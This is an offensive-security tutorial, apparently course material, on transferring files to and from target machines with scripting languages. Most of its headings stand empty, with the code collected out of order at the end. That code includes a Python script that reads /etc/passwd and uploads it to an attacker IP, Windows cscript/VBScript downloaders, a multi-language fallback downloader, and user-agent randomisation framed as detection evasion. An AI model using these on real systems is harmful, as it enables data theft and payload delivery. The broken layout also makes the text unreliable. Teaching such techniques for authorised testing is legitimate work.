It's common to find different programming languages installed on the machines we are targeting. Programming languages such as Python, PHP, Perl, and Ruby are commonly available in Linux distributions but can also be installed on Windows, although this is far less common.
We can use some Windows default applications, such as cscript and mshta, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.
According to Wikipedia, there are around 700 programming languages, and we can create code in any programming language to download, upload or execute instructions to the OS. This section provides examples using common programming languages.
Python
Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exists. Python can run one-liners from an operating system command line using the option -c.
# Using requests librarypython3 -c 'import requests; r=requests.get("https://example.com/file.txt"); open("file.txt","wb").write(r.content)'# Using urllib with custom headerspython3 -c 'import urllib.request; req=urllib.request.Request("https://example.com/file.txt", headers={"User-Agent": "Mozilla/5.0"}); urllib.request.urlretrieve(req, "file.txt")'
Python Uploads
Upload a File Using Python One-liner:
Multi-line Python Upload Example:
Upload with Authentication:
PHP
PHP is also very prevalent and provides multiple file transfer methods. According to W3Techs' data, PHP is used by 77.4% of all websites with a known server-side programming language.
PHP Downloads
PHP Download with file_get_contents():
PHP Download with fopen():
PHP Download and Pipe to Bash:
β οΈ Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.
PHP Alternative Methods
Using cURL in PHP:
PHP Web Shell Upload:
Ruby
Ruby is another popular language that supports running one-liners from an operating system command line using the option -e.
Ruby - Download a File:
Ruby - Download with SSL:
Ruby - Upload File:
Perl
Perl is widely available on many Linux systems and supports file transfer operations.
Perl - Download a File:
Perl - Alternative Download Method:
Perl - Upload File:
JavaScript (Windows)
JavaScript can be used on Windows systems through Windows Script Host (WSH).
Create wget.js file:
Download a File Using JavaScript and cscript.exe:
Alternative JavaScript Method (using MSXML2):
VBScript (Windows)
VBScript ("Microsoft Visual Basic Scripting Edition") is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.
Create wget.vbs file:
Download a File Using VBScript and cscript.exe:
VBScript Upload Example:
Node.js
If Node.js is available, it provides powerful file transfer capabilities.
Node.js Download:
Node.js Upload:
Go
Go might be available on some systems, especially in containerized environments.
Go Download One-liner:
Advanced Techniques
Bypassing Restrictions
Custom User Agents:
Using Proxies:
Error Handling
Python with Error Handling:
PHP with Error Handling:
Upload Server Setup
Starting the Python uploadserver Module:
PHP Upload Server:
Security Considerations
Secure Downloads
Verify SSL Certificates:
Check File Integrity:
Sanitize Uploads
Validate File Types:
Practical Examples
Multi-Language Download Script
Bash Script with Fallback Methods:
Detection Evasion
Randomized User Agents:
Key Takeaways
Multiple languages available - Most systems have at least one scripting language installed
One-liners are powerful - Quick execution without creating files on disk
Cross-platform compatibility - Python and other languages work on multiple OS
Windows-specific options - JavaScript and VBScript through cscript.exe
Error handling important - Always implement proper error checking
# To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://192.168.49.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(URL, files={"files":file})
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", WScript.Arguments(0), false);
xhr.send();
var stream = new ActiveXObject("ADODB.Stream");
stream.type = 1;
stream.open();
stream.write(xhr.responseBody);
stream.saveToFile(WScript.Arguments(1), 2);
stream.close();
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
import os
import mimetypes
allowed_types = ['text/plain', 'image/jpeg', 'image/png']
filename = "uploaded_file.txt"
mime_type, _ = mimetypes.guess_type(filename)
if mime_type in allowed_types:
print("File type allowed")
else:
print("File type not allowed")
#!/bin/bash
URL="https://example.com/file.txt"
OUTPUT="file.txt"
# Try Python3
if command -v python3 >/dev/null 2>&1; then
python3 -c "import urllib.request; urllib.request.urlretrieve('$URL', '$OUTPUT')"
exit 0
fi
# Try Python2
if command -v python2 >/dev/null 2>&1; then
python2 -c "import urllib; urllib.urlretrieve('$URL', '$OUTPUT')"
exit 0
fi
# Try PHP
if command -v php >/dev/null 2>&1; then
php -r "file_put_contents('$OUTPUT', file_get_contents('$URL'));"
exit 0
fi
# Try Ruby
if command -v ruby >/dev/null 2>&1; then
ruby -e "require 'net/http'; File.write('$OUTPUT', Net::HTTP.get(URI.parse('$URL')))"
exit 0
fi
# Try Perl
if command -v perl >/dev/null 2>&1; then
perl -e "use LWP::Simple; getstore('$URL', '$OUTPUT');"
exit 0
fi
echo "No suitable programming language found for download"
exit 1
import random
import urllib.request
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
]
ua = random.choice(user_agents)
req = urllib.request.Request("https://example.com/file.txt", headers={"User-Agent": ua})
urllib.request.urlretrieve(req, "file.txt")